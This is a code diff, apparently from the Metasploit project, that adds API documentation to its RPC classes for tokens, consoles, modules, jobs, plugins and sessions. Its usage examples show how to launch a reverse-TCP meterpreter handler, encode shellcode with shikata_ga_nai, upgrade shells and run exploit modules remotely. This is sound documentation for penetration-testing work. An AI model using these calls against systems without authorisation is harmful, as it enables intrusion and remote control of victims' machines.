def rpc_token_add(token) def rpc_token_add(token)
db = false db = false
begin begin
@ -85,6 +129,16 @@ end
{ "result" => "success" } { "result" => "success" }
end end
# Generates a random 32-byte authentication token. The token is added to the
# database as a side-effect.
#
# @return [Hash] A hash indicating the action was successful, also the new token.
# It contains the following keys:
# * 'result' [String] The successful message: 'success'
# * 'token' [String] A new token.
# @example Here's how you would use this from the client:
# rpc.call('auth.token_generate')
def rpc_token_generate def rpc_token_generate
token = Rex::Text.rand_text_alphanumeric(32) token = Rex::Text.rand_text_alphanumeric(32)
db = false db = false
@ -106,6 +160,16 @@ end
{ "result" => "success", "token" => token } { "result" => "success", "token" => token }
end end
# Removes a token from the database. Similar to what #rpc_logout does internally, except this
# can remove tokens stored in the database backend (Mdm).
#
# @see #rpc_logout
# @param [String] token The token to delete.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('auth.token_remove', 'TEMPtcVmMld8w74zo0CYeosM3iXW0nJz')
def rpc_token_remove(token) def rpc_token_remove(token)
db = false db = false
begin begin

View File

@ -5,6 +5,9 @@ module RPC
class RPC_Base class RPC_Base
attr_accessor :framework, :service, :tokens, :users attr_accessor :framework, :service, :tokens, :users
# Initializes framework, service, tokens, and users
#
# return [void]
def initialize(service) def initialize(service)
self.service = service self.service = service
self.framework = service.framework self.framework = service.framework
@ -12,6 +15,12 @@ class RPC_Base
self.users = service.users self.users = service.users
end end
# Raises an Msf::RPC Exception.
#
# @param [Fixnum] code The error code to raise.
# @param [String] message The error message.
# @raise [Msf::RPC::Exception]
# @return [void]
def error(code, message) def error(code, message)
raise Msf::RPC::Exception.new(code, message) raise Msf::RPC::Exception.new(code, message)
end end

View File

@ -7,11 +7,24 @@ module Msf
module RPC module RPC
class RPC_Console < RPC_Base class RPC_Console < RPC_Base
# Initializes the RPC console
#
# @return [Msf::Ui::Web::Driver]
def initialize(*args) def initialize(*args)
super super
@console_driver = Msf::Ui::Web::Driver.new(:framework => framework) @console_driver = Msf::Ui::Web::Driver.new(:framework => framework)
end end
# Creates a new framework console instance.
#
# @param [Hash] opts See Msf::Ui::Web::Driver#create_console
# @return [Hash] Information about the new console. It contains the following keys:
# * 'id' [Fixnum] The console's ID.
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.create')
def rpc_create(opts={}) def rpc_create(opts={})
cid = @console_driver.create_console(opts) cid = @console_driver.create_console(opts)
{ {
@ -21,6 +34,17 @@ class RPC_Console < RPC_Base
} }
end end
# Returns a list of framework consoles.
#
# @return [Hash] Console information.
# * 'consoles' [Array<Hash>] consoles, each element is a hash that includes:
# * 'id' [Fixnum] The console's ID
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.list')
def rpc_list def rpc_list
ret = [] ret = []
@console_driver.consoles.each_key do |cid| @console_driver.consoles.each_key do |cid|
@ -33,6 +57,15 @@ class RPC_Console < RPC_Base
{'consoles' => ret} {'consoles' => ret}
end end
# Deletes a framework console instance.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A result indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('console.destroy', 1)
def rpc_destroy(cid) def rpc_destroy(cid)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -40,6 +73,21 @@ class RPC_Console < RPC_Base
{ 'result' => res ? 'success' : 'failure' } { 'result' => res ? 'success' : 'failure' }
end end
# Returns the framework console output in raw form.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'data' [String] The output the framework console produces (example: the banner)
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.read', 1)
def rpc_read(cid) def rpc_read(cid)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -50,18 +98,59 @@ class RPC_Console < RPC_Base
} }
end end
# Sends an input (such as a command) to the framework console.
#
# @param [Fixnum] cid Framework console ID.
# @param [String] data User input.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is invalid, you will get a hash like the following:
# * 'wrote' [Fixnum] Number of bytes sent.
# @note Remember to add a newline (\\r\\n) at the end of input, otherwise
# the console will not do anything. And you will need to use the
# #rpc_read method to retrieve the output again.
# @example Here's how you would use this from the client:
# # This will show the current module's options.
# rpc.call('console.write', 4, "show options\r\n")
def rpc_write(cid, data) def rpc_write(cid, data)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "wrote" => @console_driver.write_console(cid, data || '') } { "wrote" => @console_driver.write_console(cid, data || '') }
end end
# Returns the tab-completed version of your input (such as a module path).
#
# @param [Fixnum] cid Framework console ID.
# @param [String] line Command.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'tabs' [String] The tab-completed version of the command.
# @example Here's how you would use this from the client:
# # This will return:
# # {"tabs"=>["use exploit/windows/smb/ms08_067_netapi"]}
# rpc.call('console.tabs', 4, "use exploit/windows/smb/ms08_067_")
def rpc_tabs(cid, line) def rpc_tabs(cid, line)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) } { "tabs" => @console_driver.consoles[cid].tab_complete(line) }
end end
# Kills a framework session. This serves the same purpose as [CTRL]+[C] to abort an interactive session.
# You might also want to considering using the session API calls instead of this.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully killed, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_kill', 4)
def rpc_session_kill(cid) def rpc_session_kill(cid)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -69,6 +158,15 @@ class RPC_Console < RPC_Base
{ 'result' => 'success' } { 'result' => 'success' }
end end
# Detaches a framework session. This serves the same purpose as [CTRL]+[Z] to
# background an interactive session.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully detached, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_detach', 4)
def rpc_session_detach(cid) def rpc_session_detach(cid)
cid = cid.to_s cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid] return { 'result' => 'failure' } if not @console_driver.consoles[cid]

View File

@ -3,6 +3,14 @@ module Msf
module RPC module RPC
class RPC_Core < RPC_Base class RPC_Core < RPC_Base
# Returns the RPC service versions.
#
# @return [Hash] A hash that includes the version information:
# * 'version' [String] Framework version
# * 'ruby' [String] Ruby version
# * 'api' [String] API version
# @example Here's how you would use this from the client:
# rpc.call('core.version')
def rpc_version def rpc_version
{ {
"version" => ::Msf::Framework::Version, "version" => ::Msf::Framework::Version,
@ -11,40 +19,117 @@ class RPC_Core < RPC_Base
} }
end end
# Stops the RPC service.
#
# @return [void]
# @example Here's how you would use this from the client:
# rpc.call('core.stop')
def rpc_stop def rpc_stop
self.service.stop self.service.stop
end end
# Returns a global datstore option.
#
# @param [String] var The name of the global datastore.
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
# @example Here's how you would use this from the client:
# rpc.call('core.getg', 'GlobalSetting')
def rpc_getg(var) def rpc_getg(var)
val = framework.datastore[var] val = framework.datastore[var]
{ var.to_s => val.to_s } { var.to_s => val.to_s }
end end
# Sets a global datastore option.
#
# @param [String] var The hash key of the global datastore option.
# @param [String] val The value of the global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.setg', 'MyGlobal', 'foobar')
def rpc_setg(var, val) def rpc_setg(var, val)
framework.datastore[var] = val framework.datastore[var] = val
{ "result" => "success" } { "result" => "success" }
end end
# Unsets a global datastore option.
#
# @param [String] var The global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.unsetg', 'MyGlobal')
def rpc_unsetg(var) def rpc_unsetg(var)
framework.datastore.delete(var) framework.datastore.delete(var)
{ "result" => "success" } { "result" => "success" }
end end
# Saves current framework settings.
#
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.save')
def rpc_save def rpc_save
framework.save_config framework.save_config
{ "result" => "success" } { "result" => "success" }
end end
# Reloads framework modules. This will take some time to complete.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits reloaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules reloaded.
# * 'post' [Fixnum] The number of post modules reloaded.
# * 'encoders' [Fixnum] The number of encoders reloaded.
# * 'nops' [Fixnum] The number of NOP modules reloaded.
# * 'payloads' [Fixnum] The number of payloads reloaded.
# @example Here's how you would use this from the client:
# rpc.call('core.reload_modules')
def rpc_reload_modules def rpc_reload_modules
framework.modules.reload_modules framework.modules.reload_modules
rpc_module_stats() rpc_module_stats()
end end
# Adds a new local file system path (local to the server) as a module path. The module must be
# accessible to the user running the Metasploit service, and contain a top-level directory for
# each module type such as: exploits, nop, encoder, payloads, auxiliary, post. Also note that
# this will not unload modules that were deleted from the file system that were previously loaded.
#
# @param [String] path The new path to load.
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits loaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules loaded.
# * 'post' [Fixnum] The number of post modules loaded.
# * 'encoders' [Fixnum] The number of encoders loaded.
# * 'nops' [Fixnum] The number of NOP modules loaded.
# * 'payloads' [Fixnum] The number of payloads loaded.
# @example Here's how you would use this from the client:
# rpc.call('core.add_module_path', '/tmp/modules/')
def rpc_add_module_path(path) def rpc_add_module_path(path)
framework.modules.add_module_path(path) framework.modules.add_module_path(path)
rpc_module_stats() rpc_module_stats()
end end
# Returns the module stats.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits.
# * 'auxiliary' [Fixnum] The number of auxiliary modules.
# * 'post' [Fixnum] The number of post modules.
# * 'encoders' [Fixnum] The number of encoders.
# * 'nops' [Fixnum] The number of NOP modules.
# * 'payloads' [Fixnum] The number of payloads.
# @example Here's how you would use this from the client:
# rpc.call('core.module_stats')
def rpc_module_stats def rpc_module_stats
{ {
'exploits' => framework.stats.num_exploits, 'exploits' => framework.stats.num_exploits,
@ -56,6 +141,18 @@ class RPC_Core < RPC_Base
} }
end end
# Returns a list of framework threads.
#
# @return [Hash] A collection of threads. Each key is the thread ID, and the value is another hash
# that contains the following:
# * 'status' [String] Thread status.
# * 'critical' [Boolean] Thread is critical.
# * 'name' [String] Thread name.
# * 'started' [String] Timestamp of when the thread started.
# @example Here's how you would use this from the cient:
# # You will get something like this:
# # {0=>{"status"=>"sleep", "critical"=>false, "name"=>"StreamServerListener", "started"=>"2015-04-21 15:25:49 -0500"}}
# rpc.call('core.thread_list')
def rpc_thread_list def rpc_thread_list
res = {} res = {}
framework.threads.each_index do |i| framework.threads.each_index do |i|
@ -71,6 +168,13 @@ class RPC_Core < RPC_Base
res res
end end
# Kills a framework thread.
#
# @param [Fixnum] tid The thread ID to kill.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.thread_kill', 10)
def rpc_thread_kill(tid) def rpc_thread_kill(tid)
framework.threads.kill(tid.to_i) rescue nil framework.threads.kill(tid.to_i) rescue nil
{ "result" => "success" } { "result" => "success" }

File diff suppressed because it is too large Load Diff

View File

@ -3,6 +3,14 @@ module Msf
module RPC module RPC
class RPC_Job < RPC_Base class RPC_Job < RPC_Base
# Returns a list of jobs.
#
# @return [Hash] A list of jobs (IDs and names).
# Each key is the job ID, and each value is the job name.
# @example Here's how you would use this from the client:
# # This will return ('0' is the job ID):
# # {"0"=>"Exploit: windows/browser/ms14_064_ole_code_execution"
# rpc.call('job.list')
def rpc_list def rpc_list
res = {} res = {}
self.framework.jobs.each do |j| self.framework.jobs.each do |j|
@ -11,6 +19,14 @@ class RPC_Job < RPC_Base
res res
end end
# Stops a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('job.stop', 0)
def rpc_stop(jid) def rpc_stop(jid)
obj = self.framework.jobs[jid.to_s] obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj error(500, "Invalid Job") if not obj
@ -18,6 +34,17 @@ class RPC_Job < RPC_Base
{ "result" => "success" } { "result" => "success" }
end end
# Returns information about a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash that contains information about the job, such as the following (and maybe more):
# * 'jid' [Fixnum] The Job ID.
# * 'name' [String] The name of the job.
# * 'start_time' [Fixnum] The start time.
# * 'datastore' [Hash] Datastore options for the module.
# @example Here's how you would use this from the client:
# rpc.call('job.info', 0)
def rpc_info(jid) def rpc_info(jid)
obj = self.framework.jobs[jid.to_s] obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj error(500, "Invalid Job") if not obj

View File

@ -4,30 +4,86 @@ module Msf
module RPC module RPC
class RPC_Module < RPC_Base class RPC_Module < RPC_Base
# Returns a list of exploit names. The 'exploit/' prefix will not be included.
#
# @return [Hash] A list of exploit names. It contains the following key:
# * 'modules' [Array<string>] Exploit names, for example: ['windows/wins/ms04_045_wins']
# @example Here's how you would use this from the client:
# rpc.call('module.exploits')
def rpc_exploits def rpc_exploits
{ "modules" => self.framework.exploits.keys } { "modules" => self.framework.exploits.keys }
end end
# Returns a list of auxiliary module names. The 'auxiliary/' prefix will not be included.
#
# @return [Hash] A list of auxiliary module names. It contains the following key:
# * 'modules' [Array<string>] Auxiliary module names, for example: ['vsploit/pii/web_pii']
# @example Here's how you would use this from the client:
# rpc.call('module.auxiliary')
def rpc_auxiliary def rpc_auxiliary
{ "modules" => self.framework.auxiliary.keys } { "modules" => self.framework.auxiliary.keys }
end end
# Returns a list of payload module names. The 'payload/' prefix will not be included.
#
# @return [Hash] A list of payload module names. It contains the following key:
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
# @example Here's how you would use this from the client:
# rpc.call('module.payloads')
def rpc_payloads def rpc_payloads
{ "modules" => self.framework.payloads.keys } { "modules" => self.framework.payloads.keys }
end end
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
#
# @return [Hash] A list of encoder module names. It contains the following key:
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
# @example Here's how you would use this from the client:
# rpc.call('module.encoders')
def rpc_encoders def rpc_encoders
{ "modules" => self.framework.encoders.keys } { "modules" => self.framework.encoders.keys }
end end
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
#
# @return [Hash] A list of NOP module names. It contains the following key:
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
# @example Here's how you would use this from the client:
# rpc.call('module.nops')
def rpc_nops def rpc_nops
{ "modules" => self.framework.nops.keys } { "modules" => self.framework.nops.keys }
end end
# Returns a list of post module names. The 'post/' prefix will not be included.
#
# @return [Hash] A list of post module names. It contains the following key:
# * 'modules' [Array<string>] Post module names, for example: ['windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('module.post')
def rpc_post def rpc_post
{ "modules" => self.framework.post.keys } { "modules" => self.framework.post.keys }
end end
# Returns the metadata for a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either the wrong type or name).
# @return [Hash] The module's metadata. The exact keys you will get depends on the module.
# @example Here's how you would use this from the client:
# # This gives us the metadata of ms08_067_netapi
# rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_info(mtype, mname) def rpc_info(mtype, mname)
m = _find_module(mtype,mname) m = _find_module(mtype,mname)
res = {} res = {}
@ -74,6 +130,14 @@ class RPC_Module < RPC_Base
end end
# Returns the compatible payloads for a specific exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's compatible payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads. For example: ['generic/custom']
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_payloads', 'windows/smb/ms08_067_netapi')
def rpc_compatible_payloads(mname) def rpc_compatible_payloads(mname)
m = _find_module('exploit',mname) m = _find_module('exploit',mname)
res = {} res = {}
@ -85,6 +149,15 @@ class RPC_Module < RPC_Base
res res
end end
# Returns the compatible sessions for a specific post module.
#
# @param [String] mname Post module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The post module's compatible sessions. It contains the following key:
# * 'sessions' [Array<Fixnum>] A list of session IDs.
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_sessions', 'windows/wlan/wlan_profile')
def rpc_compatible_sessions(mname) def rpc_compatible_sessions(mname)
m = _find_module('post',mname) m = _find_module('post',mname)
res = {} res = {}
@ -93,6 +166,17 @@ class RPC_Module < RPC_Base
res res
end end
# Returns the compatible target-specific payloads for an exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'
# @param [Fixnum] target A specific target the exploit module provides.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's target-specific payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads.
# @example Here's how you would use this from the client:
# # Find all the compatible payloads for target 1 (Windows 2000 Universal)
# rpc.call('module.target_compatible_payloads', 'windows/smb/ms08_067_netapi', 1)
def rpc_target_compatible_payloads(mname, target) def rpc_target_compatible_payloads(mname, target)
m = _find_module('exploit',mname) m = _find_module('exploit',mname)
res = {} res = {}
@ -105,6 +189,21 @@ class RPC_Module < RPC_Base
res res
end end
# Returns the module's datastore options.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @return [Hash] The module's datastore options. This will actually give you each option's
# data type, requirement state, basic/advanced type, description, default value, etc.
# @example Here's how you would use this from the client:
# rpc.call('module.options', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_options(mtype, mname) def rpc_options(mtype, mname)
m = _find_module(mtype,mname) m = _find_module(mtype,mname)
res = {} res = {}
@ -131,6 +230,28 @@ class RPC_Module < RPC_Base
res res
end end
# Executes a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * payload
# @param [String] mname Module name. For example: 'windows/smb/ms08_067_netapi'.
# @param [Hash] opts Options for the module (such as datastore options).
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @note If you get exploit sessions via the RPC service, know that only the RPC clients
# have access to those sessions. Framework msfconsole will not be able to use or
# even see these sessions, because it belongs to a different framework instance.
# However, this restriction does not apply to the database.
# @return [Hash] It contains the following keys:
# * 'job_id' [Fixnum] Job ID.
# * 'uuid' [String] UUID.
# @example Here's how you would use this from the client:
# # Starts a windows/meterpreter/reverse_tcp on port 6669
# opts = {'LHOST' => '0.0.0.0', 'LPORT'=>6669, 'PAYLOAD'=>'windows/meterpreter/reverse_tcp'}
# rpc.call('module.execute', 'exploit', 'multi/handler', opts)
def rpc_execute(mtype, mname, opts) def rpc_execute(mtype, mname, opts)
mod = _find_module(mtype,mname) mod = _find_module(mtype,mname)
case mtype case mtype
@ -146,11 +267,44 @@ class RPC_Module < RPC_Base
end end
# Returns a list of encoding formats.
#
# @return [Array<String>] Encoding foramts.
# @example Here's how you would use this from the client:
# rpc.call('module.encode_formats')
def rpc_encode_formats def rpc_encode_formats
# Supported formats # Supported formats
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
end end
# Encodes data with an encoder.
#
# @param [String] data Data to encode.
# @param [encoder] encoder Encoder module name. For example: 'x86/single_byte'.
# @param [Hash] options Encoding options, such as:
# @option options [String] 'format' Encoding format.
# @option options [String] 'badchars' Bad characters.
# @option options [String] 'platform' Platform.
# @option options [String] 'arch' Architecture.
# @option options [Fixnum] 'ecount' Number of times to encode.
# @option options [TrueClass] 'inject' To enable injection.
# @option options [String] 'template' The template file (an executable).
# @option options [String] 'template_path' Template path.
# @option options [String] 'addshellcode' Custom shellcode.
# @raise [Msf::RPC::Exception] Error could be one of these:
# * 500 Invalid format
# * 500 Failure to encode
# @return The encoded data. It contains the following key:
# * 'encoded' [String] The encoded data in the format you specify.
# @example Here's how you would use this from the client:
# # This will encode 'AAAA' with shikata_ga_nai, and prints the following:
# # unsigned char buf[] =
# # "\xba\x9e\xb5\x91\x66\xdb\xd2\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
# # "\x01\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\x6b\xf4\xd0\x27";
# result = rpc.call('module.encode', 'AAAA', 'x86/shikata_ga_nai', {'format'=>'c'})
# puts result['encoded']
def rpc_encode(data, encoder, options) def rpc_encode(data, encoder, options)
# Load supported formats # Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats

View File

@ -3,8 +3,20 @@ module Msf
module RPC module RPC
class RPC_Plugin < RPC_Base class RPC_Plugin < RPC_Base
# Loads a plugin.
#
# @param [String] path The plugin filename (without the extension). It will try to find your plugin
# in either one of these directories:
# * msf/plugins/
# * ~/.msf4/plugins/
# @param [Hash] xopts Options to pass to the plugin.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# # Load the nexpose plugin
# rpc.call('plugin.load', 'nexpose')
def rpc_load(path, xopts = {}) def rpc_load(path, xopts = {})
opts = {} opts = {}
xopts.each do |k,v| xopts.each do |k,v|
@ -35,6 +47,15 @@ class RPC_Plugin < RPC_Base
end end
# Unloads a plugin.
#
# @param [String] name The plugin filename (without the extension). For example: 'nexpose'.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('plugin.unload', 'nexpose')
def rpc_unload(name) def rpc_unload(name)
self.framework.plugins.each { |plugin| self.framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for # Unload the plugin if it matches the name we're searching for
@ -47,6 +68,13 @@ class RPC_Plugin < RPC_Base
end end
# Returns a list of loaded plugins.
#
# @return [Hash] All the plugins loaded. It contains the following key:
# * 'plugins' [Array<string>] A list of plugin names.
# @example Here's how you would use this from the client:
# rpc.call('plugin.loaded')
def rpc_loaded def rpc_loaded
ret = {} ret = {}
ret[:plugins] = [] ret[:plugins] = []

View File

@ -6,6 +6,27 @@ module Msf
module RPC module RPC
class RPC_Session < RPC_Base class RPC_Session < RPC_Base
# Returns a list of sessions that belong to the framework instance used by the RPC service.
#
# @return [Hash] Information about sessions. Each key is the session ID, and each value is a hash
# that contains the following:
# * 'type' [String] Payload type. Example: meterpreter.
# * 'tunnel_local' [String] Tunnel (where the malicious traffic comes from).
# * 'tunnel_peer' [String] Tunnel (local).
# * 'via_exploit' [String] Name of the exploit used by the session.
# * 'desc' [String] Session description.
# * 'info' [String] Session info (most likely the target's computer name).
# * 'workspace' [String] Name of the workspace.
# * 'session_host' [String] Session host.
# * 'session_port' [Fixnum] Session port.
# * 'target_host' [String] Target host.
# * 'username' [String] Username.
# * 'uuid' [String] UUID.
# * 'exploit_uuid' [String] Exploit's UUID.
# * 'routes' [String] Routes.
# * 'platform' [String] Platform.
# @example Here's how you would use this from the client:
# rpc.call('session.list')
def rpc_list def rpc_list
res = {} res = {}
self.framework.sessions.each do |sess| self.framework.sessions.each do |sess|
@ -34,6 +55,13 @@ class RPC_Session < RPC_Base
res res
end end
# Stops a session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] Unknown session ID.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'.
def rpc_stop( sid) def rpc_stop( sid)
s = self.framework.sessions[sid.to_i] s = self.framework.sessions[sid.to_i]
@ -44,11 +72,26 @@ class RPC_Session < RPC_Base
{ "result" => "success" } { "result" => "success" }
end end
# Shell read is now a positon-aware reader of the shell's associated
# ring buffer. For more direct control of the pointer into a ring # Reads the output of a shell session (such as a command output).
# buffer, a client can instead use ring_read, and note the returned #
# sequence number on their own (making multiple views into the same # @note Shell read is now a positon-aware reader of the shell's associated
# session possible, regardless of position in the stream) # ring buffer. For more direct control of the pointer into a ring
# buffer, a client can instead use ring_read, and note the returned
# sequence number on their own (making multiple views into the same
# session possible, regardless of position in the stream)
# @see #rpc_ring_read
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following keys:
# * 'seq' [String] Sequence.
# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_read', 2)
def rpc_shell_read( sid, ptr=nil) def rpc_shell_read( sid, ptr=nil)
_valid_session(sid,"shell") _valid_session(sid,"shell")
# @session_sequence tracks the pointer into the ring buffer # @session_sequence tracks the pointer into the ring buffer
@ -63,12 +106,39 @@ class RPC_Session < RPC_Base
return ring_buffer return ring_buffer
end end
# shell_write is pretty much totally identical to ring_put
# Writes to a shell session (such as a command). Note that you will to manually add a newline at the
# enf of your input so the system will process it.
# You may want to use #rpc_shell_read to retrieve the output.
#
# @note shell_write is a wrapper of #rpc_ring_put.
# @see #rpc_ring_put
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @param [Fixnum] sid Session ID.
# @param [String] data The data to write.
# @return [Hash]
# * 'write_count' [Fixnum] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_write', 2, "DATA")
def rpc_shell_write( sid, data) def rpc_shell_write( sid, data)
_valid_session(sid,"shell") _valid_session(sid,"shell")
rpc_ring_put(sid,data) rpc_ring_put(sid,data)
end end
# Upgrades a shell to a meterpreter.
#
# @note This uses post/multi/manage/shell_to_meterpreter.
# @param [Fixnum] sid Session ID.
# @param [String] lhost Local host.
# @param [Fixnum] lport Local port.
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
# * 'result' [String] A message that says 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
def rpc_shell_upgrade( sid, lhost, lport) def rpc_shell_upgrade( sid, lhost, lport)
s = _valid_session(sid,"shell") s = _valid_session(sid,"shell")
s.exploit_datastore['LHOST'] = lhost s.exploit_datastore['LHOST'] = lhost
@ -77,6 +147,20 @@ class RPC_Session < RPC_Base
{ "result" => "success" } { "result" => "success" }
end end
# Reads the output from a meterpreter session (such as a command output).
#
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'data' [String] Data read.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_read', 2)
def rpc_meterpreter_read( sid) def rpc_meterpreter_read( sid)
s = _valid_session(sid,"meterpreter") s = _valid_session(sid,"meterpreter")
@ -88,6 +172,20 @@ class RPC_Session < RPC_Base
{ "data" => data } { "data" => data }
end end
# Reads from a session (such as a command output).
#
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
